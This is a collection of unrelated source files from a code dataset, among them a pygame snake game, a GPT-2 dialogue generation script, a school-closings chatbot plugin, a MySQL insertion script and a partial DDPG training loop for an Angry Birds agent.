**kwargs):\n pass\n\n\ndef split_by_feasibility(pop, sort_infeasbible_by_cv=True):\n # if no constraint violation is provided\n if pop.CV is None:\n return np.arange(pop.size()), np.array([])\n\n feasible, infeasible = [], []\n\n for i in range(pop.size()):\n if pop.CV[i, 0] <= 0:\n feasible.append(i)\n else:\n infeasible.append(i)\n\n if sort_infeasbible_by_cv:\n infeasible = sorted(infeasible, key=lambda i: pop.CV[i,:])\n\n return np.array(feasible), np.array(infeasible)\n","sub_path":"pymoo/model/survival.py","file_name":"survival.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"533529482","text":"# -*- coding: utf-8 -*-\n#\n# This file is part of INSPIRE.\n# Copyright (C) 2016 CERN.\n#\n# INSPIRE is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License as\n# published by the Free Software Foundation; either version 2 of the\n# License, or (at your option) any later version.\n#\n# INSPIRE is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with INSPIRE; if not, write to the Free Software Foundation, Inc.,\n# 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA.\n#\n# In applying this licence, CERN does not waive the privileges and immunities\n# granted to it by virtue of its status as an Intergovernmental Organization\n# or submit itself to any jurisdiction.\n\n\"\"\"Search factory for INSPIRE workflows UI.\n\nWe specify in this custom search factory which fields elasticsearch should\nreturn in order to not always return the entire record.\n\nAdd a key path to the includes variable to include it in the API output when\nlisting/searching across workflow objects (Holding Pen).\n\"\"\"\n\nfrom __future__ import absolute_import, division, print_function\n\nfrom invenio_workflows_ui.search import default_search_factory\n\n\ndef holdingpen_search_factory(self, search, **kwargs):\n \"\"\"Override search factory.\"\"\"\n search, urlkwargs = default_search_factory(self, search, **kwargs)\n includes = [\n 'metadata.titles', 'metadata.abstracts', 'metadata.field_categories',\n 'metadata.authors', 'metadata.name', 'metadata.positions', 'metadata.acquisition_source',\n 'metadata.field_categories', '_workflow', '_extra_data.relevance_prediction',\n '_extra_data.user_action',\n '_extra_data.classifier_results.complete_output'\n ]\n search = search.extra(_source={\"include\": includes})\n return search, urlkwargs\n","sub_path":"inspirehep/modules/workflows/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"636373505","text":"#!/usr/bin/env python3\n\nimport multiprocessing as mp\n\n\ndef addTwoNumbers(a, b, q):\n # time.sleep(5) # In case you want to slow things down to see what is happening.\n q.put(a+b)\n\n\ndef addTwoPar():\n x = int(input(\"Enter first number: \"))\n y = int(input(\"Enter second number: \"))\n\n q = mp.Queue()\n p1 = mp.Process(target=addTwoNumbers, args=(x, y, q))\n p2 = mp.Process(target=addTwoNumbers, args=(x, y, q))\n p1.start()\n p2.start()\n result1 = q.get()\n result2 = q.get()\n print(result1+result2)\n\n\ndef main():\n addTwoPar()\n\n\nif __name__ == '__main__':\n main()","sub_path":"year2_1819/operating_systems/labs/lab2_multiprocessing/add_two_nums.py","file_name":"add_two_nums.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"550956923","text":"##\n## Programación en Python\n## ===========================================================================\n##\n## Genere una lista de tuplas, donde cada tupla contiene en la primera \n## posicion, el valor de la segunda columna; la segunda parte de la \n## tupla es una lista con las letras (ordenadas y sin repetir letra) \n## de la primera columna que aparecen asociadas a dicho valor de la \n## segunda columna. Esto es:\n##\n## Rta/\n## ('0', ['C'])\n## ('1', ['A', 'B', 'D', 'E'])\n## ('2', ['A', 'D', 'E'])\n## ('3', ['A', 'B', 'D', 'E'])\n## ('4', ['B', 'E'])\n## ('5', ['B', 'C', 'D', 'E'])\n## ('6', ['A', 'B', 'C', 'E'])\n## ('7', ['A', 'C', 'D', 'E'])\n## ('8', ['A', 'B', 'E'])\n## ('9', ['A', 'B', 'C', 'E'])\n##\n## >>> Escriba su codigo a partir de este punto <<<\n##\nimport csv\nwith open('data.csv', 'r') as file:\n text = csv.reader(file, delimiter=',')\n lista = [] \n for row in text:\n lista.append(row[0])\ntext = [i.split('\\t') for i in lista]\ndicc = {}\nfor elemento in text:\n if elemento[1] in dicc.keys():\n if elemento[0] not in dicc[elemento[1]]:\n dicc[elemento[1]].append(elemento[0])\n else:\n dicc[elemento[1]] = [elemento[0]]\n##dic1={text:sorted(dicc[text]) for text in dicc.keys()}\narreglo = sorted(dicc, key=str.lower)\nfor i in arreglo:\n print((i,(sorted(dicc[i]))))","sub_path":"03-python=1/q08=1/question.py","file_name":"question.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"548838603","text":"#**第 0002 题**:将 0001 题生成的 200 个激活码(或者优惠券)保存到 **MySQL** 关系型数据库中。\n\nimport pymysql.cursors\n\n\ndef store_mysql(filepath):\n connection = pymysql.connect(host=\"localhost\", user=\"root\", password=\"1234\", db=\"show_me_the_code\")\n\n try:\n with connection.cursor() as cursor:\n # 判断表是否存在\n cursor.execute('show tables')\n tables = cursor.fetchall()\n findtables = False\n for table in tables:\n if 'code' in table:\n findtables = True\n print(\"the table is already exist\")\n if not findtables:\n cursor.execute('''\n CREATE TABLE code(\n id INT NOT NULL AUTO_INCREMENT,\n code VARCHAR(20) NOT NULL,\n PRIMARY KEY (id));\n ''')\n\n with open(filepath, 'rb') as f:\n for line in f.readlines():\n code = line.strip() # 用strip把\\n去掉\n cursor.execute(\"INSERT INTO code (code) VALUES (%s);\", code)\n\n connection.commit()\n finally:\n connection.close()\n\n\nif __name__ == '__main__':\n store_mysql('code-result.txt')\n","sub_path":"python-learn/show-me-the-code/0002-save-to-mysql.py","file_name":"0002-save-to-mysql.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"351653619","text":"# Teknath krishna jha \n# Walchand college of engineering sangli\n# CSE\n# All dimensions are taken as per poco f1 \n\n# Basic window setup \n# part 1\n\nimport pygame \nimport time \nimport random\n\n# initializing pygame\npygame.init()\n\n# colors\nblack = (0,0,0)\nwhite = (255,255,255)\nred = (255,0,0)\ngreen = (0,255,0)\nblue = (0,0,255)\nyellow = (255,255,0)\n\n# window surface size \nwidth=90\nwindow_width =1080\n\nwindow_height =1500\n\n\n\n\ngameDisplay = pygame.display.set_mode((window_width , window_height))\n\n\n# window name \npygame.display.set_caption('$n@ke g@me Teknath jha')\n\n# text font \nfont = pygame.font.SysFont(None , 25 , bold=True)\n\n# on quit \ndef myquit():\n\tpygame.quit()\n\tsys.exit()\n\nclock = pygame.time.Clock()\nFPS = 5\nblockSize = 50\nnoPixel = 0\n\n'''\nsizeGrd = window_width // blockSize\nrow = 0\ncol = 0\nfor nextline in range(sizeGrd):\n'''\n\n# part 2\n# function to each block of draw snake\ndef snake(blockSize, snakelist):\n\n #x = 250 - (segment_width + segment_margin) * i\n i=1\n\n for size in snakelist:\n if i==1:\n i=0\n pygame.draw.rect(gameDisplay, blue ,[size[0]+5,size[1],blockSize,blockSize],100)\n else:\n i=1\n pygame.draw.rect(gameDisplay, black ,[size[0]+5,size[1],blockSize,blockSize])\n \n\ndef message_to_screen(msg, color):\n # render bold text background is cyan\n screen_text = font.render(msg, True, 'red' ,'cyan')\n # position of text on surface \n gameDisplay.blit(screen_text, [((window_width)/2)-350, ((window_height)/2) -50])\n\n # part 3\ndef gameLoop():\n\n # game status\n\n\n gameExit = False\n gameOver = False\n\n lead_x = (window_width+width)/2\n lead_y = (window_height+width)/2\n\n change_pixels_of_x = 0\n change_pixels_of_y = 0\n \n # Initial snake dimension\n snakelist = []\n snakeLength = 1\n\n # food position\n # round for round off values for integer \n randomAppleX = round(random.randrange(0, (window_width-width)-blockSize)/10.0)*10.0\n randomAppleY = round(random.randrange(0, (window_height-width)-blockSize)/10.0)*10.0\n\n\n while not gameExit:\n # Execution of below while loop when game will over\n while gameOver == True:\n gameDisplay.fill(white)\n message_to_screen(\"Game over, press c to play again or Q to quit\", red)\n pygame.display.update()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n gameOver = False\n gameExit = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_q:\n gameExit = True\n gameOver = False\n if event.key == pygame.K_c:\n gameLoop()\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n gameExit = True\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n myquit()\n\n # windows\n # leftArrow = event.key == pygame.K_LEFT\n # rightArrow = event.key == pygame.K_RIGHT\n # upArrow = event.key == pygame.K_UP\n # downArrow = event.key == pygame.K_DOWN\n\n\n # Androids\n leftArrow = event.key == pygame.K_4 \n rightArrow = event.key ==pygame.K_6 \n upArrow = event.key == pygame.K_2 \n downArrow = event.key == pygame.K_8 \n # for user speed self exceeding \n # speed = event.key == pygame.K_5 \n\n #Reduce and exceed from opposite ends as per instructions as left ,right, up , down \n if leftArrow:\n change_pixels_of_x = -blockSize\n change_pixels_of_y = noPixel\n elif rightArrow:\n change_pixels_of_x = blockSize\n change_pixels_of_y = noPixel\n elif upArrow:\n change_pixels_of_y = -blockSize\n change_pixels_of_x = noPixel\n elif downArrow:\n change_pixels_of_y = blockSize\n change_pixels_of_x = noPixel\n\n if lead_x >= (window_width-width) or lead_x < 0+width or lead_y >= (window_height-width) or lead_y < 0+width:\n gameOver = True\n\n lead_x += change_pixels_of_x\n lead_y += change_pixels_of_y\n\n gameDisplay.fill('cyan')\n\n\n AppleThickness = 50\n # About food position and size in terminal in back-end\n print([int(randomAppleX),int(randomAppleY),AppleThickness,AppleThickness])\n pygame.draw.rect(gameDisplay, red, [randomAppleX,randomAppleY,AppleThickness,AppleThickness])\n\n allspriteslist = []\n allspriteslist.append(lead_x)\n allspriteslist.append(lead_y)\n snakelist.append(allspriteslist)\n\n if len(snakelist) > snakeLength:\n del snakelist[0]\n\n for eachSegment in snakelist [:-1]:\n if eachSegment == allspriteslist:\n gameOver = True\n\n snake(blockSize, snakelist)\n\n# border \n # left most \n pygame.draw.rect(gameDisplay,yellow,[0,0,width,window_height])\n # right most \n pygame.draw.rect(gameDisplay,yellow,[window_width-width,0,width,window_height])\n # bottom most\n pygame.draw.rect(gameDisplay,yellow,[0,window_height-width,window_width,width])\n # top most \n pygame.draw.rect(gameDisplay,yellow,[0,0,window_width,width])\n\n\n pygame.display.update() \n\n# Comparision of food and snake mouth position \n if lead_x >= (randomAppleX - AppleThickness) and lead_x <= (randomAppleX + AppleThickness-2):\n\n if lead_y >= (randomAppleY - AppleThickness) and lead_y <= (randomAppleY + AppleThickness-2):\n\n randomAppleX = round(random.randrange(0+width, (window_width-width)-blockSize)/10.0)*10.0\n\n randomAppleY = round(random.randrange(0+width, (window_height-width)-blockSize)/10.0)*10.0\n # finally snake ate food \n snakeLength += 1 \n\n# Frames per second here it is 5fps\n\n clock.tick(FPS)\n\n pygame.quit()\n quit()\n\n# Calling \n\ngameLoop()\n\n","sub_path":"computer snake game.py","file_name":"computer snake game.py","file_ext":"py","file_size_in_byte":6255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"455474913","text":"import plugins\nimport json\nfrom requests import get\nfrom control import *\nfrom bs4 import BeautifulSoup\n\n\ndef _initialise():\n plugins.register_user_command(['fcps', 'lcps'])\n\n\ndef lcps(bot, event, *args):\n '''This command checks for school closings in the Loudon County Public Schools area. Data taken from NBC.'''\n try:\n r = get('http://www.nbcwashington.com/weather/school-closings/')\n html = r.text\n soup = BeautifulSoup(html, 'html.parser')\n schools = []\n for school in soup.find_all('p'):\n schools.append(school.text)\n\n for i in range(len(schools)):\n if 'Loudoun County' in schools[i]:\n check = str(schools[i])\n status = check.replace('Loudoun County Schools', '')\n msg = _('LCPS is {}').format(status)\n yield from bot.coro_send_message(event.conv, msg)\n except BaseException as e:\n simple = _('An Error Occurred')\n msg = _('{} -- {}').format(str(e), event.text)\n yield from bot.coro_send_message(event.conv, simple)\n yield from bot.coro_send_message(CONTROL, msg)\n\n\ndef fcps(bot, event, *args):\n '''This command checks for closings in the Fairfax County Public Schools Area. Data taken from TJHSST.'''\n try:\n page = get('https://ion.tjhsst.edu/api/emerg?format=json')\n data = json.loads(page.text)\n status = data['status']\n if status:\n message = data['message']\n message = message.replace('

    ', '')\n message = message.replace('

    ', '')\n msg = _(message)\n else:\n msg = _('FCPS is open')\n yield from bot.coro_send_message(event.conv, msg)\n except BaseException as e:\n simple = _('An Error Occurred')\n msg = _('{} -- {}').format(str(e), event.text)\n yield from bot.coro_send_message(event.conv, simple)\n yield from bot.coro_send_message(CONTROL, msg)\n","sub_path":"hangupsbot/plugins/closings.py","file_name":"closings.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"359186071","text":"VERSION = \"1.0.0\"\n\n\"\"\" Hämta skärmupplösning \"\"\"\nimport tkinter\nscreen = tkinter.Tk()\nscreen.withdraw()\nSCREEN_WIDTH = screen.winfo_screenwidth()\nSCREEN_HEIGHT = screen.winfo_screenheight()\nFULLSCREEN = True\nDIAGNOSE_FISH = False\nSKIP_MAIN_MENU = False\nSPLASH_IMAGE = \"assets/images/splash/splash.png\"\n\n\"\"\" Bakgrundsbild \"\"\"\nBACKGROUND_IMAGE = \"assets/images/background.jpg\"\nSAND_RATIO = 0.2 # Andel av skärmen täckt av sandbotten\n\nTICK_RATE = 60\n\n\"\"\" Egenskaper för morötterna \"\"\"\nSPRITE_SCALING_CARROT = 0.25\ncarrot_food_value = 1000\ncarrot_frequency = 1\n\n\"\"\" Egenskaper för kroken \"\"\"\nSPRITE_SCALING_FISH_HOOK = 0.15\n\n\"\"\" Egenskaper för popcorn \"\"\"\nSPRITE_SCALING_POPCORN = 0.05\npopcorn_food_value = 500\n\n\"\"\" Egenskaper för blåbär \"\"\"\nSPRITE_SCALING_BLUEBERRY = 0.2\nblueberry_food_value = 500\n\n\"\"\" Egenskaper för blåbärsplantan \"\"\"\nPLANT_BLUEBERRY_NUMBER = 5\nSPRITE_SCALING_PLANT_BLUEBERRY = 0.1\nplant_blueberry_grow_rate = 1\n\n\"\"\" Egenskaper för förgrundsplantan \"\"\"\nPLANT_FOREGROUND_NUMBER = 5\nSPRITE_SCALING_PLANT_FOREGROUND = 0.6\n\n\"\"\" Egenskaper för fiskägg \"\"\"\nSCALING_FISH_EGG = 0.15\nfish_egg_hatch_age = 1000\nfish_egg_disapear_age = 1500\n\n\"\"\" Egenskaper för bubbelkartor \"\"\"\nBUBBLE_MAPS = 5 # Antalet bubbelkartor att generera\n\n\"\"\" Egenskaper för muspekaren \"\"\"\nSCALING_POINTER = 0.08\n\n\"\"\"\nImportera debug1.py om den existerar\nFilen spåras inte av repo utan är lokal\nHa kvar längst ner, ifall den skriver över några vars\n\"\"\"\ntry:\n from debug import *\n DEBUG = True\nexcept:\n DEBUG = False\n","sub_path":"vars.py","file_name":"vars.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"348394314","text":"import transformers\nimport torch\nimport os\nimport json\nimport random\nimport numpy as np\nimport argparse\nfrom datetime import datetime\nfrom tqdm import tqdm\nfrom torch.nn import DataParallel\nimport logging\nfrom transformers.modeling_gpt2 import GPT2Config, GPT2LMHeadModel\nfrom transformers import BertTokenizer\nfrom os.path import join, exists\nfrom itertools import zip_longest, chain\n# from chatbot.model import DialogueGPT2Model\nfrom dataset import MyDataset\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.nn import CrossEntropyLoss\nfrom sklearn.model_selection import train_test_split\nfrom train import create_model\nimport torch.nn.functional as F\nimport codecs\nimport json\nPAD = '[PAD]'\npad_id = 0\n\nPAD = '[PAD]'\npad_id = 0\nlogger = None\nname_map_aspect = {\"电影名\": \"moviename\",\"导演\": \"director\",\"演员名\":\"actor\", \"类型\":\"movie_type\" ,\"国家\":\"country\" ,\"上映时间\":\"time\" , \"角色\":\"role\",\"剧情\":\"plot\",\"台词\":\"lines\",\"奖项\":\"award\" ,\n \"票房\":\"income\",\"评分\":\"rating\",\"资源\":\"website\", \"音乐\":\"music\", \"其他\":\"aspect_others\"}\nname_map_action ={\"请求事实\":\"request_fact\", \"请求推荐\":\"request_rec\",\"请求感受\":\"request_feeling\",\"告知事实\":\"inform_fact\",\"告知推荐\":\"inform_rec\",\"告知感受\":\"inform_feeling\",\"其他\":\"others\"}\n\nSPECIAL_TOKENS = {\n\"start_context\" : \"[context]\",\n\"end_context\" : \"[endofcontext]\",\n\"start_action\" : \"[action]\",\n\"end_action\" : \"[endofaction]\",\n\"start_know\": \"[knowledge]\",\n\"end_know\": \"[endofknowledge]\",\n\"start_response\":\"[response]\",\n\"end_response\":\"[endofresponse]\",\n\"user\":\"[user]\",\n\"system\": \"[system]\",\n}\nroot=\"/apdcephfs/share_47076/aaronsu/GPT2-movie-chat-0715-01/\"\n\ndef setup_train_args():\n \"\"\"\n 设置训练参数\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('--device', default='0,1,2,3', type=str, required=False, help='设置使用哪些显卡')\n parser.add_argument('--no_cuda', action='store_true', help='不使用GPU进行训练')\n parser.add_argument('--model_config', default=root+'config/model_config_dialogue_small.json', type=str, required=False,\n help='选择模型参数')\n parser.add_argument('--vocab_path', default=root+'vocabulary/vocab_small.txt', type=str, required=False, help='选择词库')\n parser.add_argument('--train_raw_path', default=root+'new_data/train.txt', type=str, required=False, help='原始训练语料')\n parser.add_argument('--valid_tokenized_path', default=root+'movie_data/valid_tokenized.txt', type=str,\n required=False,\n help='将原始训练预料tokenize之后的数据的存放位置')\n parser.add_argument('--log_path', default=root+'test.log', type=str, required=False, help='训练日志存放位置')\n parser.add_argument('--raw', action='store_true', help='是否对原始训练语料做tokenize。若尚未对原始训练语料进行tokenize,则指定该参数')\n parser.add_argument('--epochs', default=10, type=int, required=False, help='训练的轮次')\n parser.add_argument('--batch_size', default=8, type=int, required=False, help='训练batch size')\n parser.add_argument('--lr', default=1e-5, type=float, required=False, help='学习率')\n parser.add_argument('--warmup_steps', default=20000, type=int, required=False, help='warm up步数')\n parser.add_argument('--log_step', default=100, type=int, required=False, help='多少步汇报一次loss')\n parser.add_argument('--gradient_accumulation', default=1, type=int, required=False, help='梯度积累')\n parser.add_argument('--max_grad_norm', default=1.0, type=float, required=False)\n parser.add_argument('--model_path', default=root+ 'ul_model_best/model_epoch10/pytorch_model.bin', type=str, required=False, help='预训练的GPT2模型的路径')\n parser.add_argument('--writer_dir', default=root+'tensorboard_summary/', type=str, required=False, help='Tensorboard路径')\n parser.add_argument('--seed', type=int, default=None, help='设置种子用于生成随机数,以使得训练的结果是确定的')\n parser.add_argument('--num_workers', type=int, default=1, help=\"dataloader加载数据时使用的线程数量\")\n # parser.add_argument('--max_len', type=int, default=60, help='每个utterance的最大长度,超过指定长度则进行截断')\n # parser.add_argument('--max_history_len', type=int, default=4, help=\"dialogue history的最大长度\")\n parser.add_argument('--temperature', default=1, type=float, required=False, help='生成的temperature')\n parser.add_argument('--topk', default=8, type=int, required=False, help='最高k选1')\n parser.add_argument('--topp', default=0, type=float, required=False, help='最高积累概率')\n parser.add_argument('--repetition_penalty', default=1.3, type=float, required=False,\n help=\"重复惩罚参数,若生成的对话重复性较高,可适当提高该参数\")\n parser.add_argument('--max_len', type=int, default=50, help='每个utterance的最大长度,超过指定长度则进行截断')\n parser.add_argument('--max_history_len', type=int, default=5, help=\"dialogue history的最大长度\")\n return parser.parse_args()\n\n\n\n\n\n\ndef create_logger(args):\n \"\"\"\n 将日志输出到日志文件和控制台\n \"\"\"\n logger = logging.getLogger(__name__)\n logger.setLevel(logging.INFO)\n\n formatter = logging.Formatter(\n '%(asctime)s - %(levelname)s - %(message)s')\n\n # 创建一个handler,用于写入日志文件\n file_handler = logging.FileHandler(\n filename=args.log_path)\n file_handler.setFormatter(formatter)\n file_handler.setLevel(logging.INFO)\n logger.addHandler(file_handler)\n\n # 创建一个handler,用于将日志输出到控制台\n console = logging.StreamHandler()\n console.setLevel(logging.DEBUG)\n console.setFormatter(formatter)\n logger.addHandler(console)\n\n return logger\n\n\ndef top_k_top_p_filtering(logits, top_k=0, top_p=0.0, filter_value=-float('Inf')):\n \"\"\" Filter a distribution of logits using top-k and/or nucleus (top-p) filtering\n Args:\n logits: logits distribution shape (vocabulary size)\n top_k > 0: keep only top k tokens with highest probability (top-k filtering).\n top_p > 0.0: keep the top tokens with cumulative probability >= top_p (nucleus filtering).\n Nucleus filtering is described in Holtzman et al. (http://arxiv.org/abs/1904.09751)\n From: https://gist.github.com/thomwolf/1a5a29f6962089e871b94cbd09daf317\n \"\"\"\n assert logits.dim() == 1 # batch size 1 for now - could be updated for more but the code would be less clear\n top_k = min(top_k, logits.size(-1)) # Safety check\n if top_k > 0:\n # Remove all tokens with a probability less than the last token of the top-k\n # torch.topk()返回最后一维最大的top_k个元素,返回值为二维(values,indices)\n # ...表示其他维度由计算机自行推断\n indices_to_remove = logits < torch.topk(logits, top_k)[0][..., -1, None]\n logits[indices_to_remove] = filter_value # 对于topk之外的其他元素的logits值设为负无穷\n\n if top_p > 0.0:\n sorted_logits, sorted_indices = torch.sort(logits, descending=True) # 对logits进行递减排序\n cumulative_probs = torch.cumsum(F.softmax(sorted_logits, dim=-1), dim=-1)\n\n # Remove tokens with cumulative probability above the threshold\n sorted_indices_to_remove = cumulative_probs > top_p\n # Shift the indices to the right to keep also the first token above the threshold\n sorted_indices_to_remove[..., 1:] = sorted_indices_to_remove[..., :-1].clone()\n sorted_indices_to_remove[..., 0] = 0\n\n indices_to_remove = sorted_indices[sorted_indices_to_remove]\n logits[indices_to_remove] = filter_value\n return logits\n\n\ndef main():\n args = setup_train_args()\n logger = create_logger(args)\n # 当用户使用GPU,并且GPU可用时\n args.cuda = torch.cuda.is_available() and not args.no_cuda\n device = 'cuda' if args.cuda else 'cpu'\n logger.info('using device:{}'.format(device))\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.device\n tokenizer = BertTokenizer(vocab_file=args.vocab_path)\n tokenizer.add_tokens([i for i in SPECIAL_TOKENS.values()])\n tokenizer.add_tokens([i for i in name_map_aspect.values()])\n tokenizer.add_tokens([i for i in name_map_action.values()])\n \n config = GPT2Config.from_pretrained(root+ \"ul_model_best/model_epoch8/config.json\")\n\n model = GPT2LMHeadModel.from_pretrained(args.model_path, config=config)\n model.to(device)\n model.eval()\n # print('开始和chatbot聊天,输入CTRL + Z以退出')\n response = []\n with open(args.valid_tokenized_path, \"r\", encoding=\"utf8\") as f:\n data = f.read()\n data_list = data.split(\"\\n\")\n train_list, test_list = train_test_split(data_list, test_size=0.2, random_state=1) \n test_dataset = MyDataset(test_list)\n with codecs.open(root+\"cxt_response.txt\", \"w\", \"utf-8\") as fout:\n \tfor test_i in test_list[:500]:\n input_ids = [int(token_id) for token_id in test_i.split(\"13323\")[0].split()] \n # 13323 is startofresponse, 13324 is endofresponse\n if len(input_ids) > 200: \n continue\n curr_input_tensor = torch.tensor(input_ids).long().to(device)\n generated = []\n # 最多生成max_len个token\n for _ in range(args.max_len):\n outputs = model(input_ids=curr_input_tensor)\n next_token_logits = outputs[0][-1, :]\n # 对于已生成的结果generated中的每个token添加一个重复惩罚项,降低其生成概率\n for id in set(generated):\n next_token_logits[id] /= args.repetition_penalty\n next_token_logits = next_token_logits / args.temperature\n # 对于[UNK]的概率设为无穷小,也就是说模型的预测结果不可能是[UNK]这个token\n next_token_logits[tokenizer.convert_tokens_to_ids('[UNK]')] = -float('Inf')\n filtered_logits = top_k_top_p_filtering(next_token_logits, top_k=6, top_p=0)\n # torch.multinomial表示从候选集合中无放回地进行抽取num_samples个元素,权重越高,抽到的几率越高,返回元素的下标\n next_token = torch.multinomial(F.softmax(filtered_logits, dim=-1), num_samples=1)\n if next_token == 13324: # 遇到[SEP]则表明response生成结束\n break\n generated.append(next_token.item())\n curr_input_tensor = torch.cat((curr_input_tensor, next_token), dim=0)\n # his_text = tokenizer.convert_ids_to_tokens(curr_input_tensor.tolist())\n # print(\"his_text:{}\".format(his_text))\n text = tokenizer.convert_ids_to_tokens(generated)\n context = tokenizer.convert_ids_to_tokens(input_ids)\n golden = tokenizer.convert_ids_to_tokens([int(token_id) for token_id in test_i.split(\"13323\")[1].split()])\n fout.write(\"\".join(context)+\"\\n\")\n fout.write(\"\".join(golden)+\"\\n\")\n fout.write(\"\".join(text)+\"\\n\\n\")\n \n\n\nif __name__ == '__main__':\n main()\n","sub_path":"k_cxt_test.py","file_name":"k_cxt_test.py","file_ext":"py","file_size_in_byte":11353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"480533957","text":"\n\n#calss header\nclass _PERHAPS():\n\tdef __init__(self,): \n\t\tself.name = \"PERHAPS\"\n\t\tself.definitions = [u'used to show that something is possible or that you are not certain about something: ', u'used to show that a number or amount is approximate: ', u'used when making polite requests or statements of opinion: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adverbs'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adverbs/_perhaps.py","file_name":"_perhaps.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"477387053","text":"#!/usr/bin/env python3\nimport numpy as np\nimport random\nimport argparse\nfrom keras.models import model_from_json, Model\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten\nfrom keras.optimizers import Adam\nimport tensorflow as tf\nimport json\n\nfrom ReplayBuffer import ReplayBuffer\nfrom ActorNetwork import ActorNetwork\nfrom CriticNetwork import CriticNetwork\nfrom OU import OU\nimport ABPipe\nimport timeit\n\nOU = OU() # Ornstein-Uhlenbeck Process\n\n\ndef playGame(train_indicator=1, runGame=1, resume=True, client_number=1): # 1 means Train, 0 means simply Run\n BUFFER_SIZE = 10000\n BATCH_SIZE = 8\n GAMMA = 0.8\n TAU = 0.01 # Target Network HyperParameters\n LRA = 1e-6 # Learning rate for Actor\n LRC = 1e-5 # Lerning rate for Critic\n\n action_dim = 2 # X, Y cordinate\n state_dim = 2000 # The encoding length of the game state\n\n np.random.seed(993)\n\n EXPLORE = 1000.\n training_steps = 1000\n reward = 0\n done = False\n step = 0\n epsilon = 1\n noise = 50\n\n # Tensorflow GPU optimization\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n sess = tf.Session(config=config)\n\n from keras import backend as K\n K.set_session(sess)\n\n actor = ActorNetwork(sess, state_dim, action_dim, BATCH_SIZE, TAU, LRA)\n critic = CriticNetwork(sess, state_dim, action_dim, BATCH_SIZE, TAU, LRC)\n buff = ReplayBuffer(BUFFER_SIZE) # Create replay buffer\n\n def getAction(s_t, train_indicator):\n global epsilon\n epsilon -= 1.0 / EXPLORE\n a_t = np.zeros([1, action_dim])\n noise_t = np.zeros([1, action_dim])\n\n a_t_original = actor.model.predict(s_t)\n print('Original Shift: ', a_t_original)\n\n # noise_t[0][0] = train_indicator * max(epsilon, 0) * OU.function(a_t_original[0][0], 600, 0.5, 75)\n # noise_t[0][1] = train_indicator * max(epsilon, 0) * OU.function(a_t_original[0][1], 300, 0.5, 75)\n\n noise_t[0][0] = train_indicator * max(epsilon, 0) * np.random.randn(1)[0] * noise\n noise_t[0][1] = train_indicator * max(epsilon, 0) * np.random.randn(1)[0] * noise\n\n # in case the noise is too big\n if abs(noise_t[0][0]) > 2 * noise:\n noise_t[0][0] = 0\n if abs(noise_t[0][1]) > 2 * noise:\n noise_t[0][1] = 0\n\n print('Noise: ', noise_t[0])\n\n a_t[0][0] = a_t_original[0][0] + noise_t[0][0]\n a_t[0][1] = a_t_original[0][1] + noise_t[0][1]\n\n \"\"\"\n Send the target point and wait for the agent to execute the action\n \"\"\"\n target_point_x = int(a_t[0][0])\n target_point_y = int(a_t[0][1])\n target_point_str = str(target_point_x) + ',' + str(target_point_y)\n print('Action: ', target_point_str)\n return target_point_str\n\n # Now load the weight\n if resume:\n actor.model.load_weights(\"actormodel.h5\")\n critic.model.load_weights(\"criticmodel.h5\")\n actor.target_model.load_weights(\"actormodel.h5\")\n critic.target_model.load_weights(\"criticmodel.h5\")\n print(\"Weight load successfully\")\n\n if runGame:\n for i in range(training_steps):\n \"\"\"\n Receive `prevState`, the extracted feature before shoot\n \"\"\"\n # Receive state from different pipes here\n\n for agent_id in range(client_number):\n data = ABPipe.read_shoot(pipe_id=agent_id)\n s_t = np.array(data.split(',')[0:-1], dtype=float).reshape(1, 2000)\n\n target_point_str = getAction(s_t, train_indicator)\n\n # abPipe.writeShoot(target_point_str)\n ABPipe.write_shoot(string=target_point_str, pipe_id=agent_id)\n\n # this is for one pipe. repeat for eight times\n\n \"\"\"\n Receive bufferGroup after one episode\n \"\"\"\n for agent_id in range(client_number):\n buffer_group_str = ABPipe.read_buffers(pipe_id=agent_id)\n buff.append_from_buffer_group_string(buffer_group_str)\n\n # after receiving bufferGroup, no matter there is buffer, we start training once\n\n print('Buffer size is: ', buff.count())\n \"\"\"\n 